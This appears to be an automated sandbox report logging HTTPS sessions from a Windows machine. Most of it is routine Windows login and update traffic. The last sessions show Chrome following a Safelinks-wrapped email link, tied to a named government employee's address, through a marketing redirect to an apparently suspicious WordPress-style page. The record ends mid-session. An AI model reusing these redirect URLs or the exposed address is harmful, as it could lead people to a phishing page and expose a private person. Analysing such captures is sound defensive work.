2024-08-28 20:20:22 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-28 20:20:22 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 28 Aug 2024 20:19:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 33e19f08-7f27-4240-9e5e-e1ebd98ae3aa PPServer: PPV: 30 H: BL02EPF0001D8C6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 28 Aug 2024 20:20:22 GMT Connection: close Content-Length: 11369
2024-08-28 20:20:22 UTC	11369	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49708	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:23 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-08-28 20:20:23 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-28 20:20:23 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 28 Aug 2024 20:19:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: 7d051212-2e77-4f1e-b584-61bf5c00a50d PPServer: PPV: 30 H: SN1PEPF0002F01E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 28 Aug 2024 20:20:23 GMT Connection: close Content-Length: 11369
2024-08-28 20:20:23 UTC	11369	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49710	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=C+fzv3fwMBU6XPK&MD=76YP+26l HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-28 20:20:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 008fbc52-416c-4186-b8ff-34ea16061bac MS-RequestId: 34a101a6-c27d-42a4-a8cd-bbb4250d18dc MS-CV: yEeQv/tKzkipAHPM.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 28 Aug 2024 20:20:24 GMT Connection: close Content-Length: 24490
2024-08-28 20:20:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-08-28 20:20:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49711	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:24 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4722 Host: login.live.com
2024-08-28 20:20:24 UTC	4722	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-28 20:20:25 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 28 Aug 2024 20:19:24 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 7cd9a6e1-b290-4ff4-aad0-0898e6ea1d72 PPServer: PPV: 30 H: PH1PEPF00011EE1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 28 Aug 2024 20:20:24 GMT Connection: close Content-Length: 10197
2024-08-28 20:20:25 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49712	2.19.229.151	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-28 20:20:25 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=220590 Date: Wed, 28 Aug 2024 20:20:25 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49713	2.19.229.151	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-28 20:20:26 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=220499 Date: Wed, 28 Aug 2024 20:20:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-08-28 20:20:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49715	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4710 Host: login.live.com
2024-08-28 20:20:29 UTC	4710	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-28 20:20:29 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 28 Aug 2024 20:19:29 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 5cc896b0-046a-4e27-a450-fb30532108ab PPServer: PPV: 30 H: PH1PEPF00011EE3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 28 Aug 2024 20:20:29 GMT Connection: close Content-Length: 10173
2024-08-28 20:20:29 UTC	10173	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49721	104.47.64.28	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:37 UTC	1105	OUT	GET /?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0 HTTP/1.1 Host: gcc02.safelinks.protection.outlook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:20:38 UTC	640	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://api.emailinc.net/c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 4.0 X-SL-GetUrlReputation-Verdict: Good X-Robots-Tag: noindex, nofollow X-AspNet-Version: 4.0.30319 X-ServerName: BL0GCC02WS021 X-ServerVersion: 15.20.7897.027 X-ServerLat: 1168 X-SafeLinks-Tracking-Id: 8ff0327f-39c6-4a37-3562-08dcc79ee0e8 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff X-UA-Compatible: IE=Edge Date: Wed, 28 Aug 2024 20:20:38 GMT Connection: close Content-Length: 207
2024-08-28 20:20:38 UTC	207	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 65 6d 61 69 6c 69 6e 63 2e 6e 65 74 2f 63 2e 6a 73 70 3f 6c 3d 34 37 74 71 64 6a 62 34 26 61 6d 70 3b 73 3d 78 38 38 62 34 77 6b 75 71 65 25 32 33 64 66 73 64 74 6f 73 70 72 7a 76 7a 76 72 65 7a 64 64 77 73 73 73 66 75 6a 63 72 6d 79 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://api.emailinc.net/c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49726	209.208.100.119	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:39 UTC	720	OUT	GET /c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy HTTP/1.1 Host: api.emailinc.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:20:39 UTC	548	IN	HTTP/1.1 302 Server: nginx Date: Wed, 28 Aug 2024 20:20:39 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close X-Robots-Tag: none Location: https://willyadventures.com/wp-about X-FireDrum-Via: app2, 10.0.1.5:8080 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-transform Referrer-Policy: no-referrer-when-downgrade X-UA-Compatible: IE=Edge X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' app.firedrumemailmarketing.com fdsend.com fdhv1.com;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49727	167.86.102.97	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
